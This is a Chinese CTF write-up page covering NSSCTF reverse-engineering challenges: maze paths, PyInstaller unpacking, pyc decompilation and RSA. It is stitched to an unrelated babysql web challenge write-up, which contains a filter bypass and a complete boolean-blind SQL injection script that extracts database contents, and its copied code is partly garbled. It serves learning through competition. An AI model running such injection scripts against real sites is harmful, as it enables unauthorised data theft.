NSSCTF逆向2023题目《doublegame》《fake_game》《easy_pyc》《For Aiur》
Posted Corax0o0
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了NSSCTF逆向2023题目《doublegame》《fake_game》《easy_pyc》《For Aiur》相关的知识,希望对你有一定的参考价值。
总览
doublegame 迷宫 游戏程序逆向
fake_game exe解包 pyc反编译
easy_pyc pyc反编译 rsa解密
For aiur exe解包 pyc反编译 Anaconda pycdc
题目doublegame
解法
感觉还是蛮抽象的一题
打开看看
是一个贪吃蛇,也不懂啥直接放进ida看看
有很多函数,不想一个个看了,直接看string
感觉有很多有用的信息,题目信息又说是doublegame所以应该还有一个游戏,看红框的内容应该是这个迷宫了,点进去通过交叉引用看看
ok就是一个迷宫,上面的图也说了flag跟路径有关,我们就解解看
dddssssddwwwwddssddwwwwwwddddssa
就是这一串,取md5值然后加上score就可以了,score是什么呢?
这个迷宫应该是没啥分数讲的,要么就是贪吃蛇的分数。想着可以通过伪代码看看怎么调用第二个游戏的。
不同地查看交叉引用,最后发现在这个地方是判断是否调用第二个游戏的。那这个score很有可能是这个c
于是NSSflag0d9eb6b95c042f6649fb9d4ab062972e13371337很可惜不对,不解到底是path有问题还是这个score有问题呢?
查看了别人的flag,原来在调用第二个游戏的时候达到*后还有这样的提示
还要带出去,所以我的path是有问题的
所以正确的flag就是NSSCTF811173b05afff098b4e0757962127eac13371337
。
。
其实这道题估计附件下载下来可能是有啥问题
这个地方其实还缺了0,也就是墙。
题目fake_game
解法
这道题是给了一个exe游戏,植物大战僵尸,玩了十多分钟没给flag做题
反编译它出来一坨屎,看都看不懂。无奈只能看别人的wp,但也学到了很多新知识。
这个exe文件是py文件打包的,所以我们要做的就是先通过一个软件叫做pyinstxtractor.py。然后和exe放在一个文件夹下,然后在文件目录打开
在extracted打开就有了一个pyc文件,依旧是熟悉的uncompyle6
出来了一个py文件
经过如图的处理就可以得到flag。下面那个是四元一次方程组,计算器算
然后编写脚本
奇奇怪怪,上网看一下。他们的这个最后一个是2361,而我自己验算的时候发现如果代入1则会出现小数位的5。不太明白。
flag NSSTFG0Od_pl2y3r_f0r_Pvz!!
题目easy_pyc
解法
这道题没有以前做的pyc那么恶心,没有混淆。
首先还是熟悉的反编译成py。
然后打开
很显然这是一个rsa的解密题。
找找脚本
看到一个师傅的blog我觉得在rsa这方面讲的很详细
https://blog.csdn.net/qq_45521281/article/details/114706622
然后编写脚本
出flag
题目For Aiur
解法
这题也是我litctf上的题目,但是我也没做出来,看了别的师傅的wp找了些灵感
这道题跟上面那题是同种类型,都是exe解包pyc反编译py的逆向
所以同样还是上pyinstxtractor.py,但是这题解包还是反编译的时候出现了问题了,可能是出题人使得坏,这道题得要用py38版本进行解包,要不然会缺少关键文件。
在解决的道路上又收获了新软件。其中一个就是Anaconda,在这个程序当中可以切换不同的py环境,免去疯狂切换path的尴尬。用法在这
https://blog.csdn.net/tqlisno1/article/details/108908775?spm=1001.2014.3001.5506
而后成功进行了到pyc的解包,接下里就是反编译了。
但是不知道为什么我的uncompyle好像犯病了,tmd一直报错,于是我去看了一下别人的方案,这里又有另外一个新软件pycdc,也是一个pyc到py的反编译软件。用法在地址
https://blog.csdn.net/qq_63585949/article/details/127080253
注意在使用的时候最好使用powshell管理员模式,要不然也会有莫名其妙的报错。
于是乎,成功地反编译了
打开看看
也是一个很长的代码,但是通篇不见flag,但在文件头获取了线索,这里引用了ch文件,这个文件在
同样的反编译可以看到
这里的逻辑就很简单了,就是找一个num满足判断条件,转成str之后进行运算。于是编写脚本
获得flag
[NSSCTF 2022 Spring Recruit]babysql
https://www.ctfer.vip/problem/2075
根据输入框的提示传入tarnish
返回如下
简单测试下发现黑名单:hacker!!black_list is /if|and|\\s|#|--/i
把注释符号都过滤了,可以使用闭合的方法构造注入,空格使用/**/
绕过
这里采用同或(!=!)
来构造注入
同或 !=! 的逻辑:
1 !=! 1 == 1
1 !=! 0 == 0
0 !=! 1 == 0
0 !=! 0 == 1
mysql> select 1 !=! 0 !=! 1;
+---------------+
| 1 !=! 0 !=! 1 |
+---------------+
| 0 |
+---------------+
1 row in set (0.01 sec)
mysql> select 1 !=! 1 !=! 1;
+---------------+
| 1 !=! 1 !=! 1 |
+---------------+
| 1 |
+---------------+
1 row in set (0.00 sec)
mysql> select * from users where uid=1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
| 1 | admin | admin |
+-----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from users where uid=1 !=! 0 !=! 1;
+-----+---------------+----------------------------------+
| uid | username | password |
+-----+---------------+----------------------------------+
| 2 | mochu7 | mochu7 |
| 3 | flag | flagThe_Sql_F14g_0f_mochu7 |
| 0 | Administrator | 874a0300d72a3676c4413ce52454eff7 |
| 4 | testuser | 123456 |
+-----+---------------+----------------------------------+
4 rows in set (0.00 sec)
mysql> select * from users where uid=1 !=! 1 !=! 1;
+-----+----------+----------+
| uid | username | password |
+-----+----------+----------+
| 1 | admin | admin |
+-----+----------+----------+
1 row in set (0.00 sec)
username=tarnish'!=!(1)!=!'1 (True !=! True !=! True) == True
username=tarnish'!=!(0)!=!'1 (True !=! False !=! True) == False
布尔盲注,脚本跑
import requests
asc_str = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\\'()*+,-./:;<=>?@[\\\\]^_`|~'
burp0_url = "http://1.14.71.254:28085/"
burp0_headers = "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding": "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded"
content = ''
for i in range(1, 100):
for s in asc_str:
# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),,1))=)/**/!=!/**/'1".format(i, ord(s))
# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test'),,1))=)/**/!=!/**/'1".format(i, ord(s))
# payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag'),,1))=)/**/!=!/**/'1".format(i, ord(s))
payload = "tarnish'/**/!=!/**/(ascii(mid((select/**/group_concat(flag)/**/from/**/test.flag),,1))=)/**/!=!/**/'1".format(i, ord(s))
burp0_data = "username": payload
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
if 'string(39)' in resp.text:
content += s
print(content)
最笨的办法,比较慢,需要多等一会,追求效率可以使用二分法。
以上是关于NSSCTF逆向2023题目《doublegame》《fake_game》《easy_pyc》《For Aiur》的主要内容,如果未能解决你的问题,请参考以下文章
NSSCTF逆向2023题目《程序和人有一个能跑就行了》《encode》
NSSCTF逆向2023题目《easy_re》《世界上最棒的程序员》《Check_Your_Luck》《Tea》
[NSSCTF 2022 Spring Recruit]babysql